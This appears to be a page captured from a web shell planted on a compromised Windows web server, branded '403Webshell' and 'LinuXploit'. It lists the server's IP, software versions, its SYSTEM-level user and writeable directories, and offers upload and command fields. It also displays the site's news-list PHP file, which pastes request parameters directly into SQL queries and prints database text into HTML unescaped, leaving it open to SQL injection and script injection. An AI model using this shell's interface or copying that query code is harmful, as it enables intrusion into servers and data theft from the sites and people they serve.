403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/fetchlist.php
<?php
/* Database connection start */
include "db.php";
$table = "posts";


/* Database connection end */


// storing  request (ie, get/post) global array to a variable  
$requestData= $_REQUEST;


$columns = array( 
// column ของตารางในฐานข้อมูล
	0 =>'id',
	1 =>'title', 
	2 => 'views',
	3=> 'date_news'
);

// getting total number records without any search
$sql = "SELECT
  `posts`.`id`,
  `posts`.`title`,
  `posts`.`url`,
  `posts`.`image`,
  `posts`.`description`,
  `posts`.`ppost`,
  `posts`.`views`,
  `posts`.`date`,
  `users`.`school`
FROM
  `posts`
  INNER JOIN `users` ON `posts`.`cat_id` = `users`.`id` WHERE cat_id between 1 and 55 ";
$query=mysqli_query($conn, $sql) or die("fetchlist.php: get $table");
$totalData = mysqli_num_rows($query);
$totalFiltered = $totalData;  // when there is no search parameter then total number rows = total number filtered rows.

$sql = "SELECT
  `posts`.`id`,
  `posts`.`title`,
  `posts`.`url`,
  `posts`.`image`,
  `posts`.`description`,
  `posts`.`ppost`,
  `posts`.`views`,
  `posts`.`date`,
  `users`.`school`
FROM
  `posts`
  INNER JOIN `users` ON `posts`.`cat_id` = `users`.`id` WHERE cat_id between 1 and 55";
if( !empty($requestData['search']['value']) ) { 
	$sql.=" AND ( title LIKE '%".$requestData['search']['value']."%' ";    
	$sql.=" OR views LIKE '".$requestData['search']['value']."%' ";
	$sql.=" OR date LIKE '%".$requestData['search']['value']."%' ";
	$sql.=" OR school LIKE '%".$requestData['search']['value']."%' )";


}
$query=mysqli_query($conn, $sql) or die("fetchlist.php: get $table");
$totalFiltered = mysqli_num_rows($query); // when there is a search parameter then we have to modify total number filtered rows as per search result. 
$sql.=" ORDER BY ". $columns[$requestData['order'][0]['column']]."   ".$requestData['order'][0]['dir']."  LIMIT ".$requestData['start']." ,".$requestData['length']."   ";
/* $requestData['order'][0]['column'] contains colmun index, $requestData['order'][0]['dir'] contains order such as asc/desc  */	
$query=mysqli_query($conn, $sql) or die("fetchlist.php: get $table");

$data = array();
$i=1+$requestData['start'];
while( $row=mysqli_fetch_array($query) ) {  // preparing an array
	$nestedData=array(); 

	$nestedData[] = '<center>'.number_format($i).'</center>';
	$nestedData[] = '<a href=\'story.php?id='.$row[0].'\' target=\'_blank\'>'.$row["title"].'</p><font size=\'1\'> '.$row["date_news"].'</font>';

$schoolname=$row["school"];
	
$sc_school =  iconv_substr("$schoolname",+8);
$sc_school1 =  iconv_substr("$sc_school",0,18,"UTF-8")."..";
		
	$nestedData[] = '<center>'.$sc_school1.'</center>';
	$nestedData[] = '<center>'.number_format($row["views"]).'</center>';

	$data[] = $nestedData;
	$i++;
}



$json_data = array(
			"draw"            => intval( $requestData['draw'] ),   // for every request/draw by clientside , they send a number as a parameter, when they recieve a response/data they first check the draw number, so we are sending same number in draw. 
			"recordsTotal"    => intval( $totalData ),  // total number of records
			"recordsFiltered" => intval( $totalFiltered ), // total number of records after searching, if there is no searching then totalFiltered = totalData
			"data"            => $data   // total data array
			);

echo json_encode($json_data);  // send data as json format

?>

Youez - 2016 - github.com/yon3zu
LinuXploit